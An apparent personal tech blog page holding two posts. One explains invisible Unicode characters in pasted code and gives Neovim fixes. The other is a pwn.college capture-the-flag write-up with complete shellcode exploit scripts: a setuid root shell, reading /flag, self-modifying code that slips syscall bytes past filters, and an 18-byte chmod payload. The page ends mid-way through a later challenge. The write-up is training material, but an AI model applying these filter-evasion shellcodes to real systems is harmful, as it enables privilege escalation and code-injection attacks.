Hello Navi

Tech, Security & Personal Notes

Posted on In Disqus:

Ever copy-pasted a code snippet from a browser (Gemini) into Neovim, only to see a strange + or a highlighted <U+00A0>? Why does your Python script throw a SyntaxError on a line that looks perfectly fine?

The answer lies in the "invisible" world of Unicode control characters. These characters were designed for typography, but they have become a nightmare for modern programmers.

1. The Most Common Culprit: NBSP (U+00A0)

U+00A0 (Non-Breaking Space) wasn't invented to annoy programmers. In the world of Typography, it serves a very legitimate purpose.

Core Origin: Prevent Line Wrapping

In traditional word processing and browser rendering, a standard space (U+0020) is a "soft" break point. When a line is full, the system wraps the text at the space.

However, some word pairs should never be separated. NBSP tells the rendering engine: "These two words are bound together. If you can't fit them both, move the entire block to the next line."

Proper Use Cases

  • Values & Units: 100 kg or 500 MHz. You don't want 100 at the end of a line and kg at the start of the next.
  • Names & Titles: Mr. Anderson or Dr. Freeman.
  • Language Specifics: In French typography, characters like : or ! must be preceded by a space. To prevent the punctuation from being isolated on a new line, NBSP is used.

Why It's a Coding Nightmare

Web developers and WYSIWYG editors (like Microsoft Word) often abuse &nbsp; to force indentation or spacing. Because browsers "collapse" multiple standard spaces (U+0020) into one, people use NBSP to create "hard" whitespace.

When you copy code from these sources, U+00A0 is carried over into your terminal. Python, Bash, and C are rigorous: they only recognize U+0020 as a valid syntax separator. Anything else is an "invalid character."

2. Visualizing and Fixing NBSP in Neovim

If you use Neovim, you can expose these hidden characters by setting listchars.

Configuration (init.lua)

1
2
3
4
5
6
7
8
9
vim.opt.list = true -- Enable list mode to show invisible characters

vim.opt.listchars = {
    nbsp = '☠',     -- Highlight U+00A0 as a skull (or '✗', '⍽')
    trail = '·',    -- Show trailing spaces
    tab = '▸ ',     -- Make Tabs visible
    extends = '❯',  -- Show wrap indicators
    precedes = '❮',
}

The Quick Fix

To substitute all NBSP characters with normal spaces in the current buffer:

1
:%s/\%u00a0/ /g

3. The Hidden Menace: Zero-Width Characters (U+200B - U+200F)

If NBSP is a nuisance, Zero-Width Characters are the "shadow realm" of Unicode. These characters are completely invisible in most GUI editors but occupy bytes in your file.

Common Variants

  • <U+200B> Zero Width Space (ZWSP): A "potential" break point for long URLs or languages without natural spaces (like Thai).
  • <U+200C> Zero Width Non-Joiner (ZWNJ): Prevents characters from forming a ligature (e.g., stopping f and i from becoming fi).
  • <U+200D> Zero Width Joiner (ZWJ): The "stitcher." It combines multiple characters into one.
    • Emoji Magic: A "Woman Astronaut" (👩‍🚀) is actually Woman (👩) + ZWJ + Rocket (🚀).
    • Family: 👨‍👩‍👧‍👦 is a chain of 4 emojis connected by 3 ZWJs.
  • <U+200E> (LRM) & <U+200F> (RLM): Used to control Left-to-Right and Right-to-Left text direction in bi-directional (Bidi) text.

4. Why They Are Dangerous (The Invisible Threat)

  1. Syntax Error Hell: You copy a Python script, and it fails with SyntaxError: invalid character in identifier. The error is "invisible" because the zero-width character is hidden inside a variable name.
  2. Security (Homoglyph Attacks): Attackers can create two identical-looking URLs. github.com and github.com (with a hidden <U+200B>) can lead you to a phishing site.
  3. Invisible Fingerprinting: Some companies use combinations of zero-width characters to encode a "hidden watermark" or employee ID in sensitive documents. If you leak the text, they can extract the ID from the invisible characters.

5. The Neovim Purge: Clean Your Code

Neovim's listchars will often render these as hex codes like <U+200B> if they aren't explicitly handled, making them easy to spot.

To wipe your file of all zero-width "garbage" from U+200B to U+200F:

1
:%s/[\%u200B-\%u200F]//g

This regex matches the entire range of common zero-width control characters and deletes them instantly.

Conclusion

In the UNIX philosophy, content and presentation are separate. Relying on invisible characters to control layout is "soulless." As a power user, your code should be clean, visible, and free of typography-bloat.

Keep your listchars on, and never trust a copy-paste from a browser blindly.

Posted on In Disqus:

ello ackersl!

Write and execute shellcode to read the flag, but your inputted data is filtered before execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
###
### Welcome to /challenge/ello-ackers!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x29e93000!
Reading 0x1000 bytes from stdin.

Executing filter...

This challenge requires that your shellcode have no H bytes!

Failed filter at byte 2048!

在 ASCII 码中，H 的十六进制是 0x48。 在 x86-64 架构的机器码中，0x48 是 REX.W 前缀。任何对 64 位寄存器（如 rax, rdi, rsi）进行操作的指令，汇编器基本都会给它加上 0x48 前缀。

比如：

  • mov rax, 0x3b -> 48 c7 c0 3b 00 00 00
  • add rdi, 8 -> 48 83 c7 08

x86-64 架构有一个特性：对 32 位寄存器（如 eax, edi）进行操作时，CPU 会自动将该寄存器的高 32 位清零，并且不需要 REX.W 前缀。所以，mov eax, 2 对应的机器码是 b8 02 00 00 00

Method 1: Get root shell (setuid)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/ello-ackers"

# get root shell(setuid)
shellcode_asm = """
.global _start
_start:
.intel_syntax noprefix
    xor edi, edi
    push 105
    pop rax
    syscall

    xor esi, esi
    push rsi
    push rsi
    push rsp
    pop rdi

    mov dword ptr [rdi], 0x6e69622f
    mov dword ptr [rdi+4], 0x68732f2f

    push 59
    pop rax

    xor edx, edx
    syscall
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x48" in payload:
    log.error("detected 0x48 bytes in payload")
    exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()

Method 2: Read flag directly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/ello-ackers"

shellcode_asm = """
.global _start
_start:
.intel_syntax noprefix
    xor esi, esi
    push rsi
    push rsp
    pop rdi

    mov dword ptr [rdi], 0x616c662f
    mov byte ptr [rdi+4], 0x67
    push 2
    pop rax
    syscall

    xchg eax, edi
    push rsp
    pop rsi
    mov dl, 100
    xor eax, eax
    syscall

    xchg eax, edx
    push 1
    pop rdi
    push 1
    pop rax
    syscall
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x48" in payload:
    log.error("detected 0x48 bytes in payload")
    exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{ogTy4tQHj3UmVxXesBT0tLjIPBx.0FMyIDL4cjM1gzW}

Syscall Smuggler

Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), can you defeat this?

1
2
3
4
5
6
7
8
9
10
11
hacker@program-security~syscall-smuggler:~$ /challenge/syscall-smuggler ###
### Welcome to /challenge/syscall-smuggler!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x1a467000!
Reading 0x1000 bytes from stdin.

Solution: SMC (Self-Modifying Code)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/syscall-smuggler"

shellcode_asm = """
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    push 2
    pop rax
    mov rdi, rsp
    xor esi, esi
    inc byte ptr [rip + patch_target1 + 1]
patch_target1:
    .byte 0x0f
    .byte 0x04

    mov r10d, 0x7fffffff
    mov rsi, rax
    push 40
    pop rax
    push 1
    pop rdi
    cdq
    inc byte ptr [rip + patch_target + 1]
patch_target:
    .byte 0x0f
    .byte 0x04
"""

payload = asm(shellcode_asm)
print(payload)

log.info(f"Payload len: {len(payload)} bytes")
log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x0f05" in payload:
    log.error("detected syscall bytes in payload")
    exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{sxAngc7P16UniMHkxwySW6LiF3L.0VMyIDL4cjM1gzW}

Syscall Shenanigans

Write and execute shellcode to read the flag, but the inputted data cannot contain any form of system call bytes (syscall, sysenter, int), this challenge adds an extra layer of difficulty!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
hacker@program-security~syscall-shenanigans:~$ /challenge/syscall-shenanigans
###
### Welcome to /challenge/syscall-shenanigans!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x2000 bytes for shellcode at 0x229dc000!
Reading 0x2000 bytes from stdin.

This challenge requires that your shellcode does not have any `syscall`, 'sysenter', or `int` instructions. System calls
are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05
(`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to
insert the `syscall` instructions at runtime.

Removing write permissions from first 4096 bytes of shellcode. !!!!!!!!!!!!!!!!!

This challenge is about to execute the following shellcode:

      Address      |                      Bytes                    |          Instructions
------------------------------------------------------------------------------------------
0x00000000229dc000 | 48 b8 01 01 01 01 01 01 01 01                 | movabs rax, 0x101010101010101
0x00000000229dc00a | 50                                            | push rax
0x00000000229dc00b | 48 b8 2e 67 6d 60 66 01 01 01                 | movabs rax, 0x1010166606d672e
0x00000000229dc015 | 48 31 04 24                                   | xor qword ptr [rsp], rax
0x00000000229dc019 | 6a 02                                         | push 2
0x00000000229dc01b | 58                                            | pop rax
0x00000000229dc01c | 48 89 e7                                      | mov rdi, rsp
0x00000000229dc01f | 31 f6                                         | xor esi, esi
0x00000000229dc021 | fe 05 01 00 00 00                             | inc byte ptr [rip + 1]

Executing shellcode!

[*] Got EOF while reading in interactive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/syscall-shenanigans"

shellcode_asm = """
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    push 2
    pop rax
    mov rdi, rsp
    xor esi, esi
    inc byte ptr [rip + patch_target1 + 1]
patch_target1:
    .byte 0x0f
    .byte 0x04

    mov r10d, 0x7fffffff
    mov rsi, rax
    push 40
    pop rax
    push 1
    pop rdi
    cdq
    inc byte ptr [rip + patch_target + 1]
patch_target:
    .byte 0x0f
    .byte 0x04
"""

payload = b"\x90" * 4096

payload += asm(shellcode_asm)

# log.info(f"Payload len: {len(payload)} bytes")
# log.info(f"Payload Hex dump: \n{enhex(payload)}")

if b"\x0f05" in payload:
    log.error("detected syscall bytes in payload")
    exit(1)

p = process(target_binary)
p.send(payload)
p.interactive()
pwn.college{sgSXh_BFf5M_15STVO05hkTbwud.0lMyIDL4cjM1gzW}

Byte Budget

Write and execute shellcode to read the flag, but you only get 18 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
hacker@program-security~byte-budget:~$ /challenge/byte-budget
###
### Welcome to /challenge/byte-budget!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x14f5f000!
Reading 0x12 bytes from stdin.

Removing write permissions from first 4096 bytes of shellcode.

Disassembly analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
r2 -A -q -c "pdf @ sym.main" /challenge/byte-budget

            ; ICOD XREF from entry0 @ 0x1241(r)
┌ 727: int main (int argc, char **argv, char **envp);
│ `- args(rdi, rsi, rdx) vars(6:sp[0x10..0x40])
│           0x00001567      f30f1efa       endbr64
│           0x0000156b      55             push rbp
│           0x0000156c      4889e5         mov rbp, rsp
│           0x0000156f      4883ec40       sub rsp, 0x40
│           0x00001573      897ddc         mov dword [var_24h], edi    ; argc
│           0x00001576      488975d0       mov qword [var_30h], rsi    ; argv
│           0x0000157a      488955c8       mov qword [var_38h], rdx    ; envp
│           0x0000157e      488b059b2a..   mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
│                                                                      ; [0x4020:8]=0
│           0x00001585      b900000000     mov ecx, 0                  ; size_t size
│           0x0000158a      ba02000000     mov edx, 2                  ; int mode
│           0x0000158f      be00000000     mov esi, 0                  ; char *buf
│           0x00001594      4889c7         mov rdi, rax                ; FILE*stream
│           0x00001597      e844fcffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x0000159c      488b056d2a..   mov rax, qword [obj.stdout] ; obj.__TMC_END__
│                                                                      ; [0x4010:8]=0
│           0x000015a3      b900000000     mov ecx, 0                  ; size_t size
│           0x000015a8      ba02000000     mov edx, 2                  ; int mode
│           0x000015ad      be00000000     mov esi, 0                  ; char *buf
│           0x000015b2      4889c7         mov rdi, rax                ; FILE*stream
│           0x000015b5      e826fcffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x000015ba      488d3d040c..   lea rdi, [0x000021c5]       ; "###" ; const char *s
│           0x000015c1      e87afbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000015c6      488b45d0       mov rax, qword [var_30h]
│           0x000015ca      488b00         mov rax, qword [rax]
│           0x000015cd      4889c6         mov rsi, rax
│           0x000015d0      488d3df20b..   lea rdi, str._Welcome_to__s__n ; 0x21c9 ; "### Welcome to %s!\n" ; const char *format
│           0x000015d7      b800000000     mov eax, 0
│           0x000015dc      e89ffbffff     call sym.imp.printf         ; int printf(const char *format)
│           0x000015e1      488d3ddd0b..   lea rdi, [0x000021c5]       ; "###" ; const char *s
│           0x000015e8      e853fbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000015ed      bf0a000000     mov edi, 0xa                ; int c
│           0x000015f2      e839fbffff     call sym.imp.putchar        ; int putchar(int c)
│           0x000015f7      488d3de20b..   lea rdi, str.This_challenge_reads_in_some_bytes__modifies_them__depending_on_the_specific_challenge_configuration___and_executes_them ; 0x21e0 ; "This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them" ; const char *s
│           0x000015fe      e83dfbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001603      488d3d560c..   lea rdi, str.as_code__This_is_a_common_exploitation_scenario__called__code_injection_._Through_this_series_of_challenges__you_will ; 0x2260 ; "as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will" ; const char *s
│           0x0000160a      e831fbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000160f      488d3dc20c..   lea rdi, str.practice_your_shellcode_writing_skills_under_various_constraints__To_ensure_that_you_are_shellcoding__rather_than_doing ; 0x22d8 ; "practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing" ; const char *s
│           0x00001616      e825fbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000161b      488d3d2e0d..   lea rdi, str.other_tricks__this_will_sanitize_all_environment_variables_and_arguments_and_close_all_file_descriptors___2._n ; 0x2350 ; "other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.\n" ; const char *s
│           0x00001622      e819fbffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001627      c745ec0300..   mov dword [fildes], 3
│       ┌─< 0x0000162e      eb0e           jmp 0x163e
│       │   ; CODE XREF from main @ 0x1645(x)
│      ┌──> 0x00001630      8b45ec         mov eax, dword [fildes]
│      ╎│   0x00001633      89c7           mov edi, eax                ; int fildes
│      ╎│   0x00001635      e876fbffff     call sym.imp.close          ; int close(int fildes)
│      ╎│   0x0000163a      8345ec01       add dword [fildes], 1
│      ╎│   ; CODE XREF from main @ 0x162e(x)
│      ╎└─> 0x0000163e      817dec0f27..   cmp dword [fildes], 0x270f  ; '\x0f\''
│      └──< 0x00001645      7ee9           jle 0x1630
│           0x00001647      488b45d0       mov rax, qword [var_30h]
│           0x0000164b      488945f0       mov qword [s], rax
│       ┌─< 0x0000164f      eb2b           jmp 0x167c
│       │   ; CODE XREF from main @ 0x1686(x)
│      ┌──> 0x00001651      488b45f0       mov rax, qword [s]
│      ╎│   0x00001655      488b00         mov rax, qword [rax]
│      ╎│   0x00001658      4889c7         mov rdi, rax                ; const char *s
│      ╎│   0x0000165b      e800fbffff     call sym.imp.strlen         ; size_t strlen(const char *s)
│      ╎│   0x00001660      4889c2         mov rdx, rax                ; size_t n
│      ╎│   0x00001663      488b45f0       mov rax, qword [s]
│      ╎│   0x00001667      488b00         mov rax, qword [rax]
│      ╎│   0x0000166a      be00000000     mov esi, 0                  ; int c
│      ╎│   0x0000166f      4889c7         mov rdi, rax                ; void *s
│      ╎│   0x00001672      e829fbffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
│      ╎│   0x00001677      488345f008     add qword [s], 8
│      ╎│   ; CODE XREF from main @ 0x164f(x)
│      ╎└─> 0x0000167c      488b45f0       mov rax, qword [s]
│      ╎    0x00001680      488b00         mov rax, qword [rax]
│      ╎    0x00001683      4885c0         test rax, rax
│      └──< 0x00001686      75c9           jne 0x1651
│           0x00001688      488b45c8       mov rax, qword [var_38h]
│           0x0000168c      488945f8       mov qword [var_8h], rax
│       ┌─< 0x00001690      eb2b           jmp 0x16bd
│       │   ; CODE XREF from main @ 0x16c7(x)
│      ┌──> 0x00001692      488b45f8       mov rax, qword [var_8h]
│      ╎│   0x00001696      488b00         mov rax, qword [rax]
│      ╎│   0x00001699      4889c7         mov rdi, rax                ; const char *s
│      ╎│   0x0000169c      e8bffaffff     call sym.imp.strlen         ; size_t strlen(const char *s)
│      ╎│   0x000016a1      4889c2         mov rdx, rax                ; size_t n
│      ╎│   0x000016a4      488b45f8       mov rax, qword [var_8h]
│      ╎│   0x000016a8      488b00         mov rax, qword [rax]
│      ╎│   0x000016ab      be00000000     mov esi, 0                  ; int c
│      ╎│   0x000016b0      4889c7         mov rdi, rax                ; void *s
│      ╎│   0x000016b3      e8e8faffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
│      ╎│   0x000016b8      488345f808     add qword [var_8h], 8
│      ╎│   ; CODE XREF from main @ 0x1690(x)
│      ╎└─> 0x000016bd      488b45f8       mov rax, qword [var_8h]
│      ╎    0x000016c1      488b00         mov rax, qword [rax]
│      ╎    0x000016c4      4885c0         test rax, rax
│      └──< 0x000016c7      75c9           jne 0x1692
│           0x000016c9      41b900000000   mov r9d, 0                  ; size_t offset
│           0x000016cf      41b800000000   mov r8d, 0                  ; int fd
│           0x000016d5      b922000000     mov ecx, 0x22               ; '\"' ; int flags
│           0x000016da      ba07000000     mov edx, 7                  ; int prot
│           0x000016df      be00100000     mov esi, sym._init          ; 0x1000 ; size_t length
│           0x000016e4      bf00f0f514     mov edi, 0x14f5f000         ; void*addr
│           0x000016e9      e882faffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
│           0x000016ee      4889054329..   mov qword [obj.shellcode], rax ; [0x4038:8]=0
│           0x000016f5      488b053c29..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x000016fc      483d00f0f514   cmp rax, 0x14f5f000
│       ┌─< 0x00001702      741f           je 0x1723
│       │   0x00001704      488d0d360e..   lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│       │   0x0000170b      ba62000000     mov edx, 0x62               ; 'b' ; unsigned int line
│       │   0x00001710      488d35a90c..   lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│       │   0x00001717      488d3dc20c..   lea rdi, str.shellcode___void__0x14f5f000 ; str.shellcode___void__0x14f5f000
│       │                                                              ; 0x23e0 ; "shellcode == (void *)0x14f5f000" ; const char *assertion
│       │   0x0000171e      e86dfaffff     call sym.imp.__assert_fail  ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│       │   ; CODE XREF from main @ 0x1702(x)
│       └─> 0x00001723      488b050e29..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x0000172a      4889c6         mov rsi, rax
│           0x0000172d      488d3dcc0c..   lea rdi, str.Mapped_0x1000_bytes_for_shellcode_at__p__n ; str.Mapped_0x1000_bytes_for_shellcode_at__p__n
│                                                                      ; 0x2400 ; "Mapped 0x1000 bytes for shellcode at %p!\n" ; const char *format
│           0x00001734      b800000000     mov eax, 0
│           0x00001739      e842faffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0000173e      488d3deb0c..   lea rdi, str.Reading_0x12_bytes_from_stdin._n ; str.Reading_0x12_bytes_from_stdin._n
│                                                                      ; 0x2430 ; "Reading 0x12 bytes from stdin.\n" ; const char *s
│           0x00001745      e8f6f9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000174a      488b05e728..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x00001751      ba12000000     mov edx, 0x12               ; size_t nbyte
│           0x00001756      4889c6         mov rsi, rax                ; void *buf
│           0x00001759      bf00000000     mov edi, 0                  ; int fildes
│           0x0000175e      e85dfaffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00001763      488905c628..   mov qword [obj.shellcode_size], rax ; [0x4030:8]=0
│           0x0000176a      488b05bf28..   mov rax, qword [obj.shellcode_size] ; [0x4030:8]=0
│           0x00001771      4885c0         test rax, rax
│       ┌─< 0x00001774      751f           jne 0x1795
│       │   0x00001776      488d0dc40d..   lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│       │   0x0000177d      ba67000000     mov edx, 0x67               ; 'g' ; unsigned int line
│       │   0x00001782      488d35370c..   lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│       │   0x00001789      488d3dc00c..   lea rdi, str.shellcode_size___0 ; 0x2450 ; "shellcode_size > 0" ; const char *assertion
│       │   0x00001790      e8fbf9ffff     call sym.imp.__assert_fail  ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│       │   ; CODE XREF from main @ 0x1774(x)
│       └─> 0x00001795      488d3dcc0c..   lea rdi, str.Removing_write_permissions_from_first_4096_bytes_of_shellcode._n ; 0x2468 ; "Removing write permissions from first 4096 bytes of shellcode.\n" ; const char *s
│           0x0000179c      e89ff9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000017a1      488b059028..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x000017a8      ba05000000     mov edx, 5
│           0x000017ad      be00100000     mov esi, sym._init          ; 0x1000
│           0x000017b2      4889c7         mov rdi, rax
│           0x000017b5      e846faffff     call sym.imp.mprotect
│           0x000017ba      85c0           test eax, eax
│       ┌─< 0x000017bc      741f           je 0x17dd
│       │   0x000017be      488d0d7c0d..   lea rcx, obj.__PRETTY_FUNCTION__.25265 ; 0x2541 ; "main" ; const char *function
│       │   0x000017c5      ba6a000000     mov edx, 0x6a               ; 'j' ; unsigned int line
│       │   0x000017ca      488d35ef0b..   lea rsi, str._challenge_babyshell_level_8.c ; 0x23c0 ; "/challenge/babyshell-level-8.c" ; const char *file
│       │   0x000017d1      488d3dd00c..   lea rdi, str.mprotect_shellcode__4096__PROT_READPROT_EXEC___0 ; 0x24a8 ; "mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0" ; const char *assertion
│       │   0x000017d8      e8b3f9ffff     call sym.imp.__assert_fail  ; void __assert_fail(const char *assertion, const char *file, unsigned int line, const char *function)
│       │   ; CODE XREF from main @ 0x17bc(x)
│       └─> 0x000017dd      488d3dfc0c..   lea rdi, str.This_challenge_is_about_to_execute_the_following_shellcode:_n ; 0x24e0 ; "This challenge is about to execute the following shellcode:\n" ; const char *s
│           0x000017e4      e857f9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000017e9      488b154028..   mov rdx, qword [obj.shellcode_size] ; [0x4030:8]=0
│           0x000017f0      488b054128..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
│           0x000017f7      4889d6         mov rsi, rdx                ; int64_t arg2
│           0x000017fa      4889c7         mov rdi, rax                ; int64_t arg1
│           0x000017fd      e807fbffff     call sym.print_disassembly
│           0x00001802      488d3d140d..   lea rdi, [0x0000251d]       ; const char *s
│           0x00001809      e832f9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000180e      488d3d090d..   lea rdi, str.Executing_shellcode__n ; 0x251e ; "Executing shellcode!\n" ; const char *s
│           0x00001815      e826f9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000181a      488b051728..   mov rax, qword [obj.shellcode] ; [0x4038:8]=0
# shellcode in rdx
│           0x00001821      4889c2         mov rdx, rax
│           0x00001824      b800000000     mov eax, 0
│           0x00001829      ffd2           call rdx
│           0x0000182b      488d3d020d..   lea rdi, str._Goodbye_      ; 0x2534 ; "### Goodbye!" ; const char *s
│           0x00001832      e809f9ffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00001837      b800000000     mov eax, 0
│           0x0000183c      c9             leave
└           0x0000183d      c3             ret

程序在 call shellcode 之前，把 shellcode 的起始地址 (0x14f5f000) 塞进了 rdx 寄存器里。

可以直接把字符串硬编码在指令的末尾，然后用 rdx 来获取 ASCII 字符串的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "debug"

target_binary = "/challenge/byte-budget"

# syscall chmod
payload_asm = """
.intel_syntax noprefix
    lea rdi, [rdx + 12]
    push 4
    pop rsi
    push 90
    pop rax
    syscall
.ascii "/flag"
"""

payload = asm(payload_asm)
log.info(f"Payload length: {len(payload)} bytes (Arch Way Minimal!)")

p = process(target_binary)
p.send(payload)

p.wait()

import os

os.system("cat /flag")
pwn.college{c0WCX5hfQ61Xr0NdbS8GG93279M.0FNyIDL4cjM1gzW}

ClobberCode

Write and execute shellcode to read the flag, but this time your shellcode is partially overwritten with 0xcc (INT 3) every other 10 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
hacker@program-security~clobbercode:~$ /challenge/clobbercode
###
### Welcome to /challenge/clobbercode!
###

This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them
as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will
practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing
other tricks, this will sanitize all environment variables and arguments and close all file descriptors > 2.

Mapped 0x1000 bytes for shellcode at 0x2e692000!
Reading 0x1000 bytes from stdin.

This challenge modified your shellcode by overwriting every other 10 bytes with 0xcc. 0xcc, when interpreted as an
instruction is an `INT 3`, which is an interrupt to call into the debugger. You must avoid these modifications in your
shellcode.

Removing write permissions from first 4096 bytes of shellcode.

This challenge is about to execute the following shellcode:

      Address      |                      Bytes                    |          Instructions
------------------------------------------------------------------------------------------
0x000000002e692000 | 31 ff                                         | xor edi, edi
0x000000002e692002 | 6a 69                                         | push 0x69
0x000000002e692004 | 58                                            | pop rax
0x000000002e692005 | 0f 05                                         | syscall
0x000000002e692007 | 31 f6                                         | xor esi, esi
0x000000002e692009 | 56                                            | push rsi
0x000000002e69200a | cc                                            | int3
0x000000002e69200b | cc                                            | int3
0x000000002e69200c | cc                                            | int3
0x000000002e69200d | cc                                            | int3
0x000000002e69200e | cc                                            | int3
0x000000002e69200f | cc                                            | int3
0x000000002e692010 | cc                                            | int3
0x000000002e692011 | cc                                            | int3
0x000000002e692012 | cc                                            | int3
